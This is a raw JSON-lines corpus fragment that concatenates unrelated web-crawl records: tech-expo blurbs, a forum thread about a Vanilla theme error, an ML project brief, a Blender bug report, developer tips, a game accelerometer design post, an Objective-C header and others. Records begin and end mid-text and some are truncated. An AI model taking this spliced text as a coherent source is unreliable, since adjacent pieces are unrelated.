post-employment benefit obligations; (8) increases in raw material and energy costs and our ability to offset or recover these costs, increases in our warranty, product liability and recall costs or the outcome of legal or regulatory proceedings to which we are or may become a party; and (9) those factors identified in our filings with the SEC. Caution should be taken not to place undue reliance on our forward-looking statements, which represent our view only as of the date of this release, and which we assume no obligation to update. New business wins and re-wins do not represent firm orders or firm commitments from customers, but are based on various assumptions, including the timing and duration of product launches, vehicle production levels, customer price reductions and currency exchange rates.\nSOURCE Visteon Corporation\nSYS-CON Events announced today that MangoApps will exhibit at SYS-CON's 18th International Cloud Expo®, which will take place on June 7-9, 2016, at the Javits Center in New York City, NY. MangoApps provides modern company intranets and team collaboration software, allowing workers to stay connected and productive from anywhere in the world and from any device. For more information, please visit https://www.mangoapps.com/.\nMay. 26, 2016 12:45 AM EDT Reads: 531\nA strange thing is happening along the way to the Internet of Things, namely far too many devices to work with and manage. It has become clear that we'll need much higher efficiency user experiences that can allow us to more easily and scalably work with the thousands of devices that will soon be in each of our lives. Enter the conversational interface revolution, combining bots we can literally talk with, gesture to, and even direct with our thoughts, with embedded artificial intelligence, wh...\nMay. 26, 2016 12:00 AM EDT Reads: 1,892\nThe IoT is changing the way enterprises conduct business. In his session at @ThingsExpo, Eric Hoffman, Vice President at EastBanc Technologies, discuss how businesses can gain an edge over competitors by empowering consumers to take control through IoT. We'll cite examples such as a Washington, D.C.-based sports club that leveraged IoT and the cloud to develop a comprehensive booking system. He'll also highlight how IoT can revitalize and restore outdated business models, making them profitable...\nMay. 25, 2016 10:45 PM EDT Reads: 2,620\nSYS-CON Events announced today that ContentMX, the marketing technology and services company with a singular mission to increase engagement and drive more conversations for enterprise, channel and SMB technology marketers, has been named “Sponsor & Exhibitor Lounge Sponsor” of SYS-CON's 18th Cloud Expo, which will take place on June 7-9, 2016, at the Javits Center in New York City, New York. “CloudExpo is a great opportunity to start a conversation with new prospects, but what happens after the...\nMay. 25, 2016 10:00 PM EDT Reads: 904\nThe essence of data analysis involves setting up data pipelines that consist of several operations that are chained together – starting from data collection, data quality checks, data integration, data analysis and data visualization (including the setting up of interaction paths in that visualization). In our opinion, the challenges stem from the technology diversity at each stage of the data pipeline as well as the lack of process around the analysis.\nMay. 25, 2016 08:30 PM EDT Reads: 1,237\nThe 19th International Cloud Expo has announced that its Call for Papers is open. Cloud Expo, to be held November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA, brings together Cloud Computing, Big Data, Internet of Things, DevOps, Containers, Microservices and WebRTC to one location. With cloud computing driving a higher percentage of enterprise IT budgets every year, it becomes increasingly important to plant your flag in this fast-expanding business opportunity. Submit y...\nMay. 25, 2016 06:00 PM EDT Reads: 1,895\nInternet of @ThingsExpo, taking place November 1-3, 2016, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with the 19th International Cloud Expo and will feature technical sessions from a rock star conference faculty and the leading industry players in the world and ThingsExpo New York Call for Papers is now open.\nMay. 25, 2016 05:00 PM EDT Reads: 1,728\nDesigning IoT applications is complex, but deploying them in a scalable fashion is even more complex. A scalable, API first IaaS cloud is a good start, but in order to understand the various components specific to deploying IoT applications, one needs to understand the architecture of these applications and figure out how to scale these components independently. In his session at @ThingsExpo, Nara Rajagopalan is CEO of Accelerite, will discuss the fundamental architecture of IoT applications, ...\nMay. 25, 2016 04:45 PM EDT Reads: 966\nIn his session at 18th Cloud Expo, Bruce Swann, Senior Product Marketing Manager at Adobe, will discuss how the Adobe Marketing Cloud can help marketers embrace opportunities for personalized, relevant and real-time customer engagement across offline (direct mail, point of sale, call center) and digital (email, website, SMS, mobile apps, social networks, connected objects). Bruce Swann has more than 15 years of experience working with digital marketing disciplines like web analytics, social med...\nMay. 25, 2016 04:00 PM EDT Reads: 1,206\nSYS-CON Events announced today that Enzu, a leading provider of cloud hosting solutions, will exhibit at SYS-CON's 18th International Cloud Expo®, which will take place on June 7-9, 2016, at the Javits Center in New York City, NY. Enzu’s mission is to be the leading provider of enterprise cloud solutions worldwide. Enzu enables online businesses to use its IT infrastructure to their competitive advantage. By offering a suite of proven hosting and management services, Enzu wants companies to foc...\nMay. 25, 2016 03:45 PM EDT Reads: 2,131\nCustomer experience has become a competitive differentiator for companies, and it’s imperative that brands seamlessly connect the customer journey across all platforms. With the continued explosion of IoT, join us for a look at how to build a winning digital foundation in the connected era – today and in the future. In his session at @ThingsExpo, Chris Nguyen, Group Product Marketing Manager at Adobe, will discuss how to successfully leverage mobile, rapidly deploy content, capture real-time d...\nMay. 25, 2016 02:45 PM EDT Reads: 1,451\nIoT generates lots of temporal data. But how do you unlock its value? How do you coordinate the diverse moving parts that must come together when developing your IoT product? What are the key challenges addressed by Data as a Service? How does cloud computing underlie and connect the notions of Digital and DevOps What is the impact of the API economy? What is the business imperative for Cognitive Computing? Get all these questions and hundreds more like them answered at the 18th Cloud Expo...\nMay. 25, 2016 02:15 PM EDT Reads: 2,147\nAs cloud and storage projections continue to rise, the number of organizations moving to the cloud is escalating and it is clear cloud storage is here to stay. However, is it secure? Data is the lifeblood for government entities, countries, cloud service providers and enterprises alike and losing or exposing that data can have disastrous results. There are new concepts for data storage on the horizon that will deliver secure solutions for storing and moving sensitive data around the world. ...\nMay. 25, 2016 02:00 PM EDT Reads: 1,171\nWhat a difference a year makes. Organizations aren’t just talking about IoT possibilities, it is now baked into their core business strategy. With IoT, billions of devices generating data from different companies on different networks around the globe need to interact. From efficiency to better customer insights to completely new business models, IoT will turn traditional business models upside down. In the new customer-centric age, the key to success is delivering critical services and apps wit...\nMay. 25, 2016 01:45 PM EDT Reads: 995\nSYS-CON Events announced today that 24Notion has been named “Bronze Sponsor” of SYS-CON's 18th Cloud Expo, which will take place on June 7-9, 2016, at the Javits Center in New York, New York. 24Notion is full-service global creative digital marketing, technology and lifestyle agency that combines strategic ideas with customized tactical execution. With a broad understand of the art of traditional marketing, new media, communications and social influence, 24Notion uniquely understands how to con...\nMay. 25, 2016 09:45 AM EDT Reads: 1,724\nWebRTC is bringing significant change to the communications landscape that will bridge the worlds of web and telephony, making the Internet the new standard for communications. Cloud9 took the road less traveled and used WebRTC to create a downloadable enterprise-grade communications platform that is changing the communication dynamic in the financial sector. In his session at @ThingsExpo, Leo Papadopoulos, CTO of Cloud9, will discuss the importance of WebRTC and how it enables companies to fo...\nMay. 25, 2016 04:45 AM EDT Reads: 2,453\nSYS-CON Events announced today TechTarget has been named “Media Sponsor” of SYS-CON's 18th International Cloud Expo, which will take place on June 7–9, 2016, at the Javits Center in New York City, NY, and the 19th International Cloud Expo, which will take place on November 1–3, 2016, at the Santa Clara Convention Center in Santa Clara, CA. TechTarget is the Web’s leading destination for serious technology buyers researching and making enterprise technology decisions. Its extensive global networ...\nMay. 25, 2016 04:15 AM EDT Reads: 3,070\nKorean Broadcasting System (KBS) will feature the upcoming 18th Cloud Expo | @ThingsExpo in a New York news documentary about the \"New IT for the Future.\" The documentary will cover how big companies are transmitting or adopting the new IT for the future and will be filmed on the expo floor between June 7-June 9, 2016, at the Javits Center in New York City, New York. KBS has long been a leader in the development of the broadcasting culture of Korea. As the key public service broadcaster of Korea...\nMay. 25, 2016 04:00 AM EDT Reads: 1,728\nWith major technology companies and startups seriously embracing IoT strategies, now is the perfect time to attend @ThingsExpo 2016 in New York and Silicon Valley. Learn what is going on, contribute to the discussions, and ensure that your enterprise is as \"IoT-Ready\" as it can be! Internet of @ThingsExpo, taking place Nov 3-5, 2015, at the Santa Clara Convention Center in Santa Clara, CA, is co-located with 17th Cloud Expo and will feature technical sessions from a rock star conference faculty ...\nMay. 24, 2016 06:00 PM EDT Reads: 4,699\nThere are several IoTs: the Industrial Internet, Consumer Wearables, Wearables and Healthcare, Supply Chains, and the movement toward Smart Grids, Cities, Regions, and Nations. There are competing communications standards every step of the way, a bewildering array of sensors and devices, and an entire world of competing data analytics platforms. To some this appears to be chaos. In this power panel at @ThingsExpo, moderated by Conference Chair Roger Strukhoff, panelists will discuss the vast to...\nMay. 24, 2016 04:00 PM EDT Reads: 2,395", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3790, "token_count_with_eod": 3791, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Please upgrade here. These earlier versions are no longer being updated and have security issues.\nHackerOne users: Testing against this community violates our program's Terms of Service and will result in your bounty being denied.\nVanilla Theme Apply Problem PLease Help\nThis discussion is related to the Bootstrap addon.\nYeterday I Download and setup Vanilla 2.5 on my Ipage server. then i try to add a new theme. I download and Upload Bootstrap 2.5.1 to theme folder and try to apply it. when i click apply it get this error.\n\"The addon could not be enabled because it generated a fatal error:\"\n\"Plugin not found.\"\nhere is the theame Link\nThe bootstrap folder should be \"/themes/Bootstrap\", with a capital B.\nIf it isn't, rename it and delete cached theme files from /cache/\nI get this when I try and use any other theme\nYes it happen to me\nI had this same problem. I was able to solve it by downloading the theme from the Github page instead: https://github.com/kasperisager/vanilla-bootstrap/archive/v2.5.1.zip\nSo is the problem only with bootstrap or with any theme? This post is about not being able to enable any theme not just bootstrap. A moderator should make that clear. If you can’t get a theme to work it does not matter where you got it from.\n❌ ✊ ♥. ¸. ••. ¸♥¸. ••. ¸♥ ✊ ❌\nDoes anyone have the solution to this? @justin_ that didn't work for me.\nBoth the version of the theme listed on this forum and the version from Github work in my local setup.\nWhat version of Vanilla and what version of PHP are you running?\n@stackmouse is correct in that the theme must be placed as\n/themes/Bootstrapwith a capital B. The file unzipped directly from the download has a lowercase\nbat the beginning. This may not be an issue on some systems (with case-insensitive filesystems) but is an issue on many systems. It is also gives warning from Vanilla's AddonManager.\nSorry, @lorddfg but 'Doesn't work' is no use either as feedback or as a request for help.\nWhat have you tried, and what doesn't work?\nSorry, I should have clarified it.\nI downloaded the file and uploaded it. Changed the name from Vanilla-Bootstrap to Bootstrap.\nWhen I enable it, it gives me the plugin not found error.\nI tried changing the name and the error stayed the same.\nSo no dice. I am using the latest Vanila version. I should have been more concise my apologies.\nI just downloaded the github version, changed the folder, and it works in my local test install (XAMPP), so it must be something to do with your set up.\nWhat version of php are you running?\nPHP 7.0, with mariaDB. It's a dedicated server, I just did a clean install, I am already dealing with another issue which I can't make sense off, so it could be related to it.\nI think it might be related to it.\nI see on another thread you said you didn't want to turn off strict mode, but I would suggest you do so, if just to test if that is what is causing the issue(s).\nYou may try deleting the related files in the cache folder first: /cache/theme/*\n@lorddfg Did disabling rocket loader on Cloudflare solve this issue as well? The way cloudflare completely rewrites the scripts breaks our older JS which requires being loaded in a particular order.\nI'm running PHP 7, on apache and linux. Other themes work for me but this one doesn't wanna do it. I keep getting the same error as everyone else \"The addon could not be enabled because it generated a fatal error:\nPlugin not found.\"\nYour error isn't what 'everyone else' is getting.\nAs I said earlier, I downloaded the Github version, changed the folder name as advised, and it worked, so the error isn't simply with the theme.\nDid you delete the cache files?\nCan you try it via an incognito page to rule out cache issues?\nThe error says it all. No plugin found. I got it working by uploading the files to both Themes and Plugins folder. Make sure you rename the folder to Bootstrap. I run PHP 7.2, Vanilla 2.5.2 without any issues with this theme.\nGreat you've solved it, but you wouldn't need it in the\n/plugins´ folder, only in the/themes` folder\nWierd because it only worked when i uploaded all files into the plugins folder. I tested it by removing it as well.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Building a Content Communication Prediction Environment\nBrand Love intelligence (BLi) builds Marketing Intelligence tools that help others create more meaningful digital experiences.\n50 technology changemakers developed a reinforcement model and dashboard to address the following problem.\nAudiences today have to deal with an information overload as they are being flooded by daily content communication online, coming from all sides and corners. That is naturally reducing their attention span. In that way, content is no longer being absorbed and organizations and brands lose their impact. To reverse the tendency of content avoidance, partners of BLi such as organizations (with their various types of brands) and reputable persons such as athletes & artists, are in need of highly relevant content to obtain the audience’s attention and remain at the same time attractive to them in the long run.\nTwo combined things are especially important to address the problem: 1. Moment of being receptive to specific content (receptivity) and 2. Content-match (likeability in the broadest sense). In order to get applicable data (information), we suggest the following technical solution:\nAn interactive hyper-local dashboard (world map) that visualizes the output of the reinforced ML model by providing users (near) real-time insights and notifications of audience receptivity. The dashboard will give users the empowerment to make optional model customizations to adjust the solution to their needs. While the transparency by design will let users understand why the output is as presented. This serves as a launch platform for further research.\nThe reinforcement model will receive input from various sources of data or libraries which are necessary to track (near) real-time hyperlocal indicators that influence behavior. The indicators are as follows: hyper-local influencers (weather, news, vacation, live events, google trends, Share of Search, etc.), journey analysis, mood analysis (anger, joy, confidence, etc.), and behavior analysis (context analysis with NLP and image classification, etc.). For the latter two, the Tweet data of Twitter timelines will be used.\nThe summed above are examples that can be defined later during the project.\nA particular focus of this challenge is The Share of Search (SoS) construct (in other words, ‘Share of Search’ can be defined as the portion of overall online interest in a particular keyword that you are capturing) in relation to the operational and practical quality of SoS within the model functionality. The idea behind it is to strengthen the prediction ability to know which personality types intend to engage (show other behavior) with / act on brands, branches, product categories, products/services at what time (momentum). SoS is believed to have serious predictive value when connected to more of the available data points.\nAn example would be to think of NGO’s and using SoS for nudging the donation behavior of the audience.\nAlso, a connection needs to be made to the BLi infrastructure to get the survey audience’s personality and their answers. We expect to increase our data set every few months in the beginning. Later, the interval will decrease to weeks or even days. Therefore the model needs to have an auto-retrain possibility.\nIn summary, the representative outcomes of the project are as follows:\nA reinforcement ML model that predicts the Audience Cluster Receptivity Score (%) and the Audience Cluster Brand Receptivity Score (%);\nA reinforcement ML model that maps the receptivity stage of worldwide audience clusters. The model will be decided by the community together with the company. The recommended model now is LSTM;\nA real-time interactive dashboard (world map) using the D3 library that visualizes the size and receptivity stage of audience clusters;\nThe (sub-)models developed will be stand-alone and can be used independently or combined with not yet defined future models or code;\nIntegrated REST-APIs to get data from and push output to the BLi tool;\nIn-depth and detailed documentation will be delivered explaining, among other things, why particular choices are made, how code, features, and models are working and what input is needed for optimal performance", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 817, "token_count_with_eod": 818, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Kernel Mode Linux is a technology which enables the execution of user programs in a kernel mode. In Kernel Mode Linux, user programs can access kernel address space directly. Unlike kernel modules, user programs are executed as ordinary processes (except for their privilege level), so scheduling and paging are performed as usual. Although it seems dangerous, the safety of the kernel can be ensured through such methods as static type checking, software fault isolation, and so forth.\nTOS is an operating system kernel that is written in a strictly and statically typed assembly language. Traditional operating system kernels are written in weakly-typed languages (e.g. C, C++). Therefore, it is extremely hard to ensure safety of the kernels. On the other hand, memory safety and control-flow safety of TOS can be ensured automatically through the type check of the language.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I routinely work on a session with my friend who is on windows and I’m on Linux. I use ACE Fluidsynth with a SoundFont drumkit. Ardour seems to link the SoundFont into the session and this link breaks when moving the session to another computer since the path to the SoundFont is not the same.\nI have tried to overcome this by manually copying the SoundFont on top of the links in the session that Ardour creates for itself but this does not seem to work either, the drums don’t work on my friends computer.\nIs there a way to make SoundFont drums work reliably when moving a session to another os ? The best option would be if Ardour asked if I want to copy the SoundFont into the session the same way as it does when importing audio files, but this isn’t possible as far as I know. The SoundFont file is only 69 MB.\nI don’t want to record midi to audio because that would be a waste of resources and in principle midi drums work just fine on both platforms.\nHow are other people handling this ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The prison of your city has n prisoners. As the prison can't accommodate all of them, the city mayor has decided to transfer c of the prisoners to a prison located in another city.\n\nFor this reason, he made the n prisoners to stand in a line, with a number written on their chests. The number is the severity of the crime he/she has committed. The greater the number, the more severe his/her crime was.\n\nThen, the mayor told you to choose the c prisoners, who will be transferred to the other prison. He also imposed two conditions. They are,\n\n- The chosen c prisoners has to form a contiguous segment of prisoners.\n- Any of the chosen prisoner's crime level should not be greater then t. Because, that will make the prisoner a severe criminal and the mayor doesn't want to take the risk of his running away during the transfer.\n\nFind the number of ways you can choose the c prisoners.", "source": "cpt_codeforces", "language": "en", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "OSX 10.11.6, xeon w3680 6core 12thread\nalso Nightly 2.79 34fe3f9c069\nShort description of error\nUsing a particle instance modifier with Children checked and Normal not checked and then attempting to change certain parameters of the particle system such as in the velocity or children tabs causes a crash. Enabling Normal in the particle instance modifier prevents this from happening.\nExact steps for others to reproduce the error\nCreate a Plane with a hair type particle system.\nCreate a cube with a particle instance modifier and set the object to the Plane with the particle system.\nCheck the box for Children and uncheck the box for Normal.\nGo to the particle system on the Plane and check Advanced.\nDrag any of the values in Velocity or Children and soon it will crash.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Introduction to bayesian statistics\n- ISBN: 9781118091562\n- Editorial: John Wiley & Sons, Inc.\n- Fecha de la edición: 2016\n- Lugar de la edición: New York. Estados Unidos de Norteamérica\n- Edición número: 3rd ed.\n- Encuadernación: Cartoné\n- Medidas: 23 cm\n- Nº Pág.: 597\n- Idiomas: Inglés\n\"...this edition is useful and effective in teaching Bayesian inference at both elementary and intermediate levels. It is a well-written book on elementary Bayesian inference, and the material is easily accessible. It is both concise and timely, and provides a good collection of overviews and reviews of important tools used in Bayesian statistical methods.\" There is a strong upsurge in the use of Bayesian methods in applied statistical analysis, yet most introductory statistics texts only present frequentist methods. Bayesian statistics has many important advantages that students should learn about if they are going into fields where statistics will be used. In this third Edition, four newly-added chapters address topics that reflect the rapid advances in the field of Bayesian statistics. The authors continue to provide a Bayesian treatment of introductory statistical topics, such as scientific data gathering, discrete random variables, robust Bayesian methods, and Bayesian approaches to inference for discrete random variables, binomial proportions, Poisson, and normal means, and simple linear regression.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 296, "token_count_with_eod": 297, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You're tired. Exhausted. Your mind simply isn't responding. You stare at the code; it stares back\nat you. You type something. It doesn't work. You delete it.\nThe clock says:\nYou know what you need: a break.\nWorking when we’re tired is really dangerous (to us and our applications). We write buggy code, make silly mistakes, they frustrate us, and, finally, we burn out. Everyone has been there. So, what to do rather than keep hammering your head on the keyboard?\nIn fact, you got a lot of options:\n- Lie down (or get up if you’ve been sitting for a long time);\n- Change the room you’re working on;\n- Take a (short) nap;\n- Go on a walk (to your backyard 😢) and look at the sky;\n- Play a song on your guitar;\n- Play with your pet;\n- Tell your loved ones you love them;\n- At least go drink some water! You get hydrated and it may boost your productivity!\nThe important part is to get some distance from the problem you’re facing. Context switch is really important. You may think that breaks will kill your flow, and it’s easy to convince yourself that you don’t have time for them, but hear me out: they work! Well, you don’t have to trust me, science has shown this over and over again.\nI realize not everyone has the freedom/opportunity to do those things. Or you may not be comfortable doing them during work time, and I get it. So, I’ll list some alternative tasks you can do instead. I call them productive laziness because even though they’re not your primary task, they’re still useful (for you and your app)!\nYou don’t need to be a maintainer to do this! OSS folks have lots of work to do, so go ahead and give them some help (and maybe you do end up as a maintainer). You don’t need to be an expert in the project. Just knowing the programming language behind it can help you! You can suggest better variable/method names or methods with better performance, for instance. But please, be kind.\nIf you’re feeling brave, you can help OSS ever further! Fix some bug reported into their issue\ntracker. Maybe a refactor or performance improvement? Search for issues with tags like\nfirst-time-contributor. That’s how I got my first\ncontribution merged into Rails!\nThis is quite obvious, but learning that one method can save your life later! You may found a new helper method that makes your code simpler or faster.\nThis is basically the same as the previous one, but it doesn’t have to be technical. You can learn some productivity technique, read something inspiring or just laugh out loud. I’m pretty sure you have some marked as “read later” somewhere.\nI’m pretty sure you have something to tell. Don’t worry, you don’t have to finish it right away. Just put some basic ideas in the paper. You’ll perfect it later.\nConsider this an investment: a couple of minutes today saves you a life of keystrokes! You can learn some terminal tricks too! It is the same idea.\nIt’ll only take you 5 minutes. Get rid of it accumulating dust in your mailbox and in your brain.\nThis is by far my favorite alternative task. Here you can do what you like the most:\n- Fix N+1 queries;\n- Add tests to improve your test coverage;\n- Improve the loading time for some page in your web app (using lighthouse and other dev tools);\n- Fix that one exception that your monitoring tool reported. This might be a good opportunity to start TDDing. Here’s how.\n- Solve some simple CSS problem: alignments or spacing issues, for example;\n- Refactor some nasty code you find. You can do simple things like renaming variables/methods or extracting functions/classes.\n“A refactor a day keeps the rewrite away!” - Developer Granny\nYou may not fix that nasty bug by the end of the day, but a least your app will be faster/cleaner/have more tests! I think that’s a nice trade-off.\nThese short tasks give us small wins, and they motivates us to keep working on annoying chores.\nHere’s something to keep an eye on: be sure to make the laziness time-boxed! You don’t want to spend the whole day in a alternative task 😜.\nFinally, no matter how your day goes, be kind to yourself. Some days are amazing, some days are terrible, but most days are just doing the work of life. Do your best to enjoy them!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 981, "token_count_with_eod": 982, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Another trick, right click your mouse on a page and\npull down to View Page Source\nOne last trick, as root\nupdatedb runs for several minutes, then\n> So what Linux distibution are you using now? RedHat distros usually have\n> a default home page for Netscape that has links to Apache docs and\n> RedHat's website. Maybe you did not install other html docs, but you may\n> be able to find something in /usr/doc\n> http://www.autox.chicago.il.us/ http://www.berniesfloral.net/\n> http://hammer.prohosting.com/~cgi-wiz/ http://cgi-help.virtualave.net/\nHi. I've been looking around, and eventually I will probably find these,\nbut there's got to be a better way.\nI can't seem to find the following utilities:\nI need expr to build a new kernel. I am trying to get my Logitech Bus\nmouse to work. This is the only one that is essential.\nI realize that nroff and catman are possibly not available, but then\nhow to we linuxers create cat? entries for our man pages? I could\ngo to our Sun, but that's not really an answer.\nDavid Giller, Box 134 | Q: How many Oregonians does it take to screw in a light\nOccidental College | bulb? A: Three. One to replace the bulb, and two to\n1600 Campus Road | fend off all the Californians trying to share the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 326, "token_count_with_eod": 327, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "While most Lebanese were busy decorating Christmas trees and shopping for gifts last weekend, a crowd of young Lebanese IT enthusiasts were enjoying an emotional beneficence of a different kind with Microsoft. On December 10th and 11th at Berytech Mansourieh, Microsoft Lebanon held its first Windows Phone Dev Camp, a two-day workshop that illuminated the way for technology fanatics whose hearts beat wildly for technology's latest buzzword, Apps, and Microsoft's long-awaited offspring, Windows Phone.\nThe event comes as an initiative by Microsoft Lebanon to enable and empower the growing generation of Lebanese IT enthusiasts, not only to be part of the worldwide IT revolution but also to actively participate in driving it. Charbel Fakhoury, VP Sales, Marketing & Services, Middle East and Africa Region, Microsoft opened the event with a keynote telling the audience:\n\"The shift towards knowledge economy can only occur based on education, innovation and entrepreneurship, which is where Microsoft is pulling all its weight today\". \"With events such as TechDays Beirut and Dev Camps Beirut, we provide the knowledge and skills training that local and talented developers need to unleash their potential, start off a business and hopefully grow and create more job opportunities\", added Fakhoury.\nFrom 9 am till 8 pm over the course of two days, over 250 IT students and professional developers gathered in groups around Microsoft's local and regional Windows Phone experts to learn how to create applications for Microsoft's mobile Operating System, Windows Phone. On day one, participants received deep-dive learning sessions about Windows Phone, Silverlight and XNA, Windows Azure toolkit for Windows Phone, Windows Phone Development, Game Development Principals and Coding.\n\"Windows Phone is built around people and what they love to do; we have organized this event to equip Lebanese developers with the know-how and tools they need to do what they love and take it out to the whole world\", said Ghassan Chahine, Developer and Platform Strategy Lead at Microsoft Lebanon.\nOn day two, the well-grounded developers set free their creativity and put their bright minds, honed skills and advanced tools at work, as they coded and conceived their dream Windows Phone apps. By the end of the workshop, over 37 applications were developed and submitted to the Windows Phone Marketplace via Yallaapps, for users worldwide to enjoy and benefit from them. The workshop saw the participation of truly inspired developers and resulted in the creation of a number of exceptionally smart apps, spanning a vast array of subjects from fashion and tourism through to lifestyle, business and games.\nTo end in true holiday spirit, Microsoft rewarded the most innovative team of developers with a brand new Windows Phone device. Worms7, the winning team of USJ students who developed the App ‘Dress Box', commented: \"It was a very exciting opportunity to take part in this Microsoft unique event as it offered us what we needed most – the hands-on experience in coding and developing apps and the guidance from regional experts\"\nParticipants were encouraged to continue developing their dream apps following the event and submit them to the marketplace through Yallaapps, with a chance to win another Windows Phone device just in time for the New Year.\nThe briefings also included presentations by business development specialists from Berytech and the Managing Director of ArabNet, the hub for Arab digital professionals and entrepreneurs, who showed the young developers the short and sure way to grow their potential and establish a business in this field using all available opportunities.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 707, "token_count_with_eod": 708, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Below is the Glide Factor design document. A picture is worth a thousand words.\nActually, it's just the instructions screen that you can access from the main menu. We wanted to be able to convey the full use of the game without using a single word, just a few nice looking icons.\nThe top part of the instructions screen explains the controls. The fact that the only movement instructions are the direction towards which you have to tilt the device has some implications. It does not specify how the device is held or its angle towards the ground, which means that from a usage standpoint, the player would be correct to assume that they can play Glide Factor in whatever position they are comfortable in; whether that is sitting in the Metro or lying on the couch. For us to be able to accommodate this correct assumption meant that we had to do some extra work behind the scenes.\nNo manual calibration\nMany tilt based apps get around this \"player position\" problem by adding a calibration screen. This places an extra usage burden to the player by requesting them to perform an additional action, possibly multiple times. Nonetheless we tried it, and early play tests, my girlfriend and my friends, hated it! So we decided to automate the calibration process in the background, and at the start of each level. The lack of a visible calibration process makes things faster, easier and invisible. As far as the player is concerned it just works.\nThe shake bomb\nWhile gliding through a level, oftentimes power ups will pop up to help you out. One of them is the shake bomb. Upon collection of the shake bomb, a player has five seconds to shake the device in order to make all on screen obstacles disappear. I can imagine the shake bomb being quite useful in the situation below:\nIn this case, the code must be able to differentiate between regular gliding movement, and shaking; all from the same signal input. It could be tricky but it was actually one of the easier problems to solve during development.\nThe technical stuff\nIf you are a developer, I hope you will find this useful.\nGlide movement using the accelerometer\nThe work below is located in the accelerometer callback function. Set the frequency of the callback to whatever is most suitable to your application. Glide Factor runs this at 20Hz.\nOn entry gather the raw x, y and z acceleration values. Because Glide Factor is a left oriented landscape application, we assigned the value of x to y and vice versa, as the accelerometer does not adjust, and rightly so, to changes in the screens orientation.\nCheck if the direction towards which we are accelerating to has changed. For axes x and y get their direction, which is the sign of the raw accelerometer value, and the acceleration direction which is the opposite sign of the velocity of the axis. For each axis x and y if the signs of the direction and the acceleration direction match, then the acceleration value for each axis will be the sum of its previous value, plus a constant, multiplied by the sign of its previous value. Adjust the value of this constant in order to increase viscosity.\nApply the change in acceleration to the current velocity of each axis. The velocity for each axis will be the product of the acceleration, the raw axis value and a constant. Adjust the value of this constant in order to increase/decrease velocity. Once we have the velocity, for our implementation, we add it to a pair of screen coordinates we maintain for the glider, and draw the glider.\nIf you apply the above methodology to your own code, you will get fluid accelerometer control on a 2D plane albeit on a fixed angle to the ground, depending on the values that have been assigned to the constants. This means that the z axis movement has not been calibrated to a comfortable user position/angle as mentioned above. I will, of course, be talking about auto calibration in a future post.\nThe shake bomb\nIn order to detect that the device has been shaken apply a high pass filter to the raw acceleration values. Then take the square root of the sum of the squares of the filtered values to compute the intensity of the current acceleration. If the intensity is above a certain threshold then the device has been shaken!\nHopefully, I will be able to post some code soon. If you would like to follow up on this, just leave a comment here or on twitter\n, or drop us a line at firstname.lastname@example.org\nWe are hard at work on our next game; All I can say for the moment is that we will attempt to augment the methodology described in this post, and apply it to 3D space, instead of a 2D plane. This has its challenges, but early testing has given us some valuable feedback. In short, to make tilt work in 3D space forget about mapping specific tilt actions to specific on screen behaviour. In this case it's all about context and the players preceding tilt action.\nThanks for reading! Soon, we'll be working on a post that focuses on the graphics of Glide Factor, the graphical style and how we used OpenGL. Hope to see you then and enjoy playing Glide Factor!\nLabels: games, Glide Factor, glidefactor, iphone, ipod touch", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "What is 404 not found?\nOne of my friends telling he has a lots of 404 not found on his blog and did not show the previous URL after search by Google. I told him when you hosted your site and did you delete your previous site. He just let me yes he had a good blog about some tutorial and good rank on Google but somehow he lost his hosting server.\nI gave him some idea regarding 404 not found or why page not found from Google Webmaster Tools. Actually, if someone request to server to display but the page does not exist the server will automatically return 404 not found error. Such type of problem clearly informs both browsers and search engine that the page is not existing on the live server. After that the article or content would not be crawled by search engine. If the 404 code response to a request that the page does not exist, then the server will show 404 page. This means the file or page is not found File not Found In SEO talk we can say broken link. Some time such type of broken link dramatically decries your traffic and visitor will never come to your site for the next time to surfing any things. So be careful about 404 or broken link. No worries I will give some effective tips around this issue how to recover shortly. Just follow and do this immediately.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 286, "token_count_with_eod": 287, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*\n* This header is generated by classdump-dyld 1.0\n* on Sunday, June 7, 2020 at 11:44:43 AM Mountain Standard Time\n* Operating System: Version 13.4.5 (Build 17L562)\n* Image Source: /System/Library/PrivateFrameworks/TVPlayback.framework/TVPlayback\n* classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos.\n*/\n\n#import \n#import \n\n@interface TVPMusicCollectionView : TVPCollectionView\n-(id)initWithFrame:(CGRect)arg1 collectionViewLayout:(id)arg2 ;\n@end", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "If your learner is already on a programme, and you want to assign them to a different programme, you must first stop the earlier program.\nMoving a learner to a new program\nTo move them, you must stop the earlier programme and then enrol them on a new program.\nOn the User profile page, navigate to the Programme panel.\nOn the Programme panel, click stop on the right of your screen.\nA Stop programme popup will be displayed.\nIf you wish, you can create a tracker to record why you are stopping this programme.\nClick Ok to stop the programme.\nYou can then enrol the learner 